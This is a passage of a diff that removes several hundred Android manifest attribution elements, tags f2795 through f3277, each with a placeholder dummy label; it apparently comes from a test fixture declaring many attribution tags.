-  <attribution android:tag="f2795" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2796" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2797" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2798" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2799" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2800" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2801" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2802" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2803" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2804" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2805" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2806" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2807" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2808" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2809" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2810" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2811" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2812" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2813" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2814" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2815" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2816" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2817" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2818" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2819" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2820" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2821" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2822" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2823" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2824" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2825" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2826" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2827" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2828" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2829" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2830" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2831" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2832" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2833" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2834" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2835" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2836" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2837" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2838" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2839" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2840" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2841" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2842" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2843" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2844" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2845" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2846" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2847" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2848" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2849" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2850" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2851" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2852" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2853" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2854" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2855" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2856" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2857" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2858" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2859" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2860" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2861" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2862" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2863" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2864" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2865" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2866" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2867" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2868" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2869" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2870" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2871" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2872" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2873" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2874" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2875" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2876" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2877" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2878" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2879" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2880" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2881" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2882" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2883" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2884" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2885" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2886" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2887" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2888" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2889" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2890" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2891" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2892" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2893" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2894" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2895" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2896" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2897" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2898" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2899" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2900" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2901" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2902" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2903" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2904" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2905" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2906" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2907" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2908" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2909" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2910" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2911" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2912" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2913" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2914" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2915" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2916" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2917" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2918" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2919" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2920" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2921" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2922" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2923" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2924" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2925" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2926" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2927" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2928" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2929" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2930" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2931" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2932" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2933" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2934" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2935" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2936" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2937" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2938" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2939" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2940" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2941" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2942" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2943" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2944" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2945" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2946" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2947" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2948" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2949" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2950" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2951" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2952" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2953" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2954" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2955" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2956" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2957" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2958" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2959" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2960" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2961" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2962" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2963" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2964" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2965" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2966" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2967" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2968" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2969" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2970" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2971" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2972" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2973" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2974" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2975" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2976" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2977" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2978" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2979" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2980" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2981" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2982" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2983" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2984" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2985" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2986" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2987" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2988" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2989" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2990" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2991" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2992" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2993" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2994" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2995" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2996" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2997" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2998" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2999" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3000" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3001" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3002" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3003" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3004" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3005" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3006" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3007" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3008" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3009" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3010" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3011" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3012" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3013" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3014" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3015" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3016" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3017" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3018" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3019" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3020" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3021" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3022" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3023" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3024" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3025" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3026" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3027" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3028" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3029" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3030" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3031" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3032" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3033" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3034" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3035" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3036" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3037" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3038" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3039" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3040" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3041" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3042" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3043" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3044" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3045" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3046" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3047" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3048" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3049" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3050" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3051" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3052" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3053" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3054" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3055" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3056" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3057" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3058" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3059" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3060" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3061" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3062" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3063" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3064" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3065" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3066" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3067" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3068" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3069" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3070" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3071" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3072" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3073" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3074" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3075" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3076" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3077" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3078" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3079" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3080" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3081" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3082" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3083" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3084" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3085" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3086" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3087" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3088" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3089" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3090" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3091" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3092" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3093" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3094" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3095" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3096" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3097" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3098" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3099" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3100" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3101" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3102" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3103" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3104" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3105" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3106" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3107" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3108" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3109" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3110" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3111" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3112" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3113" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3114" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3115" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3116" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3117" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3118" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3119" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3120" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3121" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3122" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3123" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3124" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3125" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3126" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3127" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3128" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3129" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3130" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3131" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3132" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3133" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3134" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3135" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3136" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3137" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3138" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3139" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3140" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3141" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3142" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3143" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3144" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3145" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3146" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3147" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3148" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3149" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3150" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3151" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3152" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3153" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3154" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3155" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3156" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3157" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3158" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3159" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3160" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3161" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3162" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3163" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3164" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3165" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3166" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3167" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3168" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3169" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3170" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3171" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3172" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3173" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3174" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3175" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3176" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3177" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3178" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3179" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3180" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3181" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3182" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3183" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3184" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3185" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3186" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3187" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3188" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3189" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3190" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3191" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3192" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3193" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3194" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3195" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3196" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3197" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3198" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3199" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3200" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3201" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3202" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3203" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3204" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3205" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3206" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3207" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3208" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3209" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3210" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3211" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3212" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3213" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3214" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3215" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3216" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3217" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3218" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3219" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3220" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3221" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3222" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3223" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3224" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3225" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3226" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3227" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3228" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3229" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3230" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3231" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3232" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3233" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3234" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3235" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3236" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3237" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3238" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3239" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3240" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3241" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3242" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3243" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3244" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3245" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3246" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3247" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3248" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3249" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3250" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3251" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3252" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3253" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3254" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3255" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3256" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3257" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3258" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3259" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3260" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3261" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3262" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3263" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3264" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3265" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3266" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3267" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3268" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3269" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3270" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3271" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3272" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3273" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3274" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3275" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3276" android:label="@string/dummyLabel" />
-  <attribution android:tag="f3277" android:label="@string/dummyLabel" />
